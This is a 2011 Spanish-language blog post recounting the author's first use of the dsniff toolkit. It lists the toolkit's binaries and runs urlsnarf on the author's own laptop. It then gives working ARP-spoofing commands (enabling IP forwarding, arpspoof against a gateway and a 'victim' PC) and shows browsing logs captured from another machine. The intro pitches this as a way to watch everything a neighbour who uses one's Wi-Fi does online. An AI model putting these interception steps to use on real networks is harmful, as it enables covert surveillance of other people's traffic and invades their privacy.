martes, 22 de febrero de 2011

Mi primera experiencia con un sniffer. (Parte 1)

Cuantas veces no habeis tenido algún vecino que os roba internet? Pues con un sniffer podeis ver todo lo que hace y enviarle un mail pidiendo amablemente que deje de robarte, eso le hará pensar. Para esto vamos a usar Dsniff.

Dsniff es un sniffer muy potente. Hoy voy a relatar mi primera experiencia con este sniffer.
Para ello voy a usar una cuenta propia de gmail, mediante el cliente Evolucion, opera para navegar por internet y skype.


Antes de nada, tengo que saber de que opciones dispongo:

dpkg -L dsniff | grep bin
/usr/sbin/arpspoof
/usr/sbin/dnsspoof
/usr/sbin/dsniff
/usr/sbin/filesnarf
/usr/sbin/macof
/usr/sbin/mailsnarf
/usr/sbin/msgsnarf
/usr/sbin/sshmitm
/usr/sbin/sshow
/usr/sbin/tcpkill
/usr/sbin/tcpnice
/usr/sbin/urlsnarf
/usr/sbin/webmitm
/usr/sbin/webspy

Empecemos con urlsnarf, para ver que paginas visito (lo intento con http://www.msn.es):

sudo urlsnarf -i wlan0
urlsnarf: listening on wlan0 [tcp port 80 or port 8080 or port 3128]
laptop - - [22/Feb/2011:14:14:21 +0100] "GET http://www.msn.es/ HTTP/1.1" - - "-" "Opera/9.80 (X11; Linux x86_64; U; es-ES) Presto/2.7.62 Version/11.01"
laptop - - [22/Feb/2011:14:14:21 +0100] "GET http://es.msn.com/ HTTP/1.1" - - "-" "Opera/9.80 (X11; Linux x86_64; U; es-ES) Presto/2.7.62 Version/11.01"
laptop - - [22/Feb/2011:14:14:22 +0100] "GET http://b.scorecardresearch.com/b?rn=1298380461990&c7=http%3A%2F%2Fes.msn.com%2F&c1=2&c2=3000001 HTTP/1.1" - - "http://es.msn.com/" "Opera/9.80 (X11; Linux x86_64; U; es-ES) Presto/2.7.62 Version/11.01"
* Este es un resumen del log ya que es muy extenso. Pero inicialmente vemos que funciona.

Ahora vamos a intentarlo desde otro PC conectado en red, el sniffer está activo en un PC con linux y la victima será otro PC con Windows e internet explorer. Vamos a ver que salida nos da, la pagina a visitar va a ser la misma:

Antes de nada tenemos que envenenar la tabla ARP para que reenvie todo el trafico a nuestro PC y asi capturar el trafico:

Lo primero permitimos el reenvio de paquetes:

sudo iptables -P FORWARD ACCEPT
sudo sysctl -w net.ipv4.ip_forward=1

Ahora viene el envenenamiento:
arpspoof -i eth0 -t 192.168.1.1 192.168.1.33

Con -i indicamos en qué interfaz de red estamos snifando.
Con -t 192.168.1.1 estamos indicando el equipo cuya tabla ARP estamos envenenando.
Con 192.168.1.33 estamos indicando el host para el que estamos interceptando paquetes.

Abrimos otra consola y ejecutamos el comando:
arpspoof -i eth0 -t 192.168.1.33 192.168.1.1

Al intentar capturar paquetes con el sniffer veo que no captura nada, así que lo intento de otra forma. En este caso voy a usar wireshark y salvar todos los paquetes capturados en un fichero llamado prueba con formato pcap.
Posteriormente ejecuto urlsnarf pero en esta ocasion le indico que busque en el fichero:

laptop:~$ sudo urlsnarf -p prueba
urlsnarf: using prueba [tcp port 80 or port 8080 or port 3128]
172.10.1.3 - - [22/Feb/2011:14:46:52 +0100] "GET http://www.prisacom.com/comunes/pie-comun/pc-bgs.gif HTTP/1.1" - - "http://www.elpais.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
172.10.1.3 - - [22/Feb/2011:14:46:57 +0100] "GET http://www.prisacom.com/comunes/pie-comun/pc-bgs.gif HTTP/1.1" - - "http://www.elpais.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
172.10.1.3 - - [22/Feb/2011:14:47:02 +0100] "GET http://www.prisacom.com/comunes/pie-comun/pc-bgs.gif HTTP/1.1" - - "http://www.elpais.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
172.10.1.3 - - [22/Feb/2011:14:47:07 +0100] "GET http://www.prisacom.com/comunes/pie-comun/pc-bgs.gif HTTP/1.1" - - "http://www.elpais.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
172.10.1.3 - - [22/Feb/2011:14:47:12 +0100] "GET http://www.prisacom.com/comunes/pie-comun/pc-bgs.gif HTTP/1.1" - - "http://www.elpais.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
172.10.1.3 - - [22/Feb/2011:14:47:17 +0100] "GET http://www.prisacom.com/comunes/pie-comun/pc-bgs.gif HTTP/1.1" - - "http://www.elpais.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"

Como podemos ver en este caso si podemos ver que paginas ha visitado la victima. He intentado hacer lo mismo con el mail pero no ha dado ningun resultado, es logico gmail encripta la conexión cada vez que recibe o envia un correo.

No hay comentarios:

Publicar un comentario